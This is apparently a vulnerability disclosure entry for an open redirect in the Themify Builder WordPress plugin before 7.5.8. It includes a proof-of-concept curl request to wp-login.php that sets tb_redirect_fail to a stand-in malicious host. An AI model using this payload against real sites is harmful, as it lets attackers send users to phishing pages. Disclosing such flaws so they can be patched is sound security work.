Themify Builder < 7.5.8 - Open Redirect

2024-05-2300:00:00

Valentin LOBSTEIN

themify builder

open redirect

vulnerability

disclosure

june 06 2024

update

6.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not validate a parameter before redirecting the user to its value, leading to an Open Redirect issue

curl -kvL https://www.example.com/wp-login.php \
     -e http://arbitrary-referer \
     -d "log=invalid_username&pwd=invalid_password&tb_login=1&tb_redirect_fail=https://malicious-site.com"


- `https://www.example.com` should be replaced with the affected WordPress site URL.
- The request triggers a 302 redirect to the URL specified in `tb_redirect_fail`.